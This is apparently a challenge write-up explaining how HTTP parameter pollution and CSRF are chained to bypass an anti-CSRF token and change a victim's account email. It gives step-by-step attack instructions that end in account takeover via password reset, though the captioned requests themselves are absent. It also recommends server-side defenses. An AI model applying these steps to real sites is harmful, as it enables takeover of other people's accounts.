The 2nd Challenge was to execute the Stored HTTP Parameter attack by finding the email parameter name and editing it with attackers email id. I have found that using CSRF vulnerability we can execute the Stored HPP vulnerability so using it we can edit the victims account email id to attackers email id but for that the attacker has to find the email id parameter name, so to find it the attacker can guess that parameter name, can fuzz it and can find the parameter name by using the forget password, reset password or login page Urls.

The actual rootcause of this vulnerability existence is that if the email id parameter is added with the attackers email id in the request using the CSRF vulnerability then the uneditable email id of victims account is getting edited or changed with the attackers email id.

In this way the attacker can easily change the victims account login email id and he has to confirm the changed email id by logggin into his email id and by clicking on the email confirmation link. Once the attackers email id is confirmed into the victims account, then the attacker can use the forget password option to reset the victims account password and after that attacker can change the victims account password and can compromie his account.

Steps to execute this attack are as following:

1. First copy the actual form submission request.

Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:

2. After that add the same Anti-CSRF token parameter name again with any random value as token.

CSRF Token Bypass Via Reflected HPP (Modified Form Submission Request after adding 2nd Anti-CSRF Token Parameter Value):

3. Now add the Email ID parameter value with the attackers email id.

4. Then send this crafted CSRF payload code as a link to the victim.

5. As the victim executes that CSRF payload contianing link the victims account email id will be changed and the attack will recieve an email to confirm his email after confirming it the attacker can use the forget password option to reset the and compromise the victims account.

Account Compromise & Anti CSRF Token Bypass by Chaining Reflected HTTP Parameter Pollution CSRF & Stored HPP Vulnerabilities (Modified Form Submission Request after adding 2nd Anti-CSRF Token Parameter Value and Email Parameter Value):

Anti-CSRF token validation can be bypassed and uneditable account login email is can be changed. This can lead to account compromise.

Recommendation:

CSRF token shall be properly validated on server-side and put method can also be used instead of post.

Filtering of all incoming sharing requests that include duplicate parameters.

So in this way, using this multiple vulnerabilties chaining one can bypass Anti-CSRF token validation and can also compromise the victims account also these techniques can be used to find same type of vulnerabilities on different websites.

Suggestions and Feedbacks are welcome.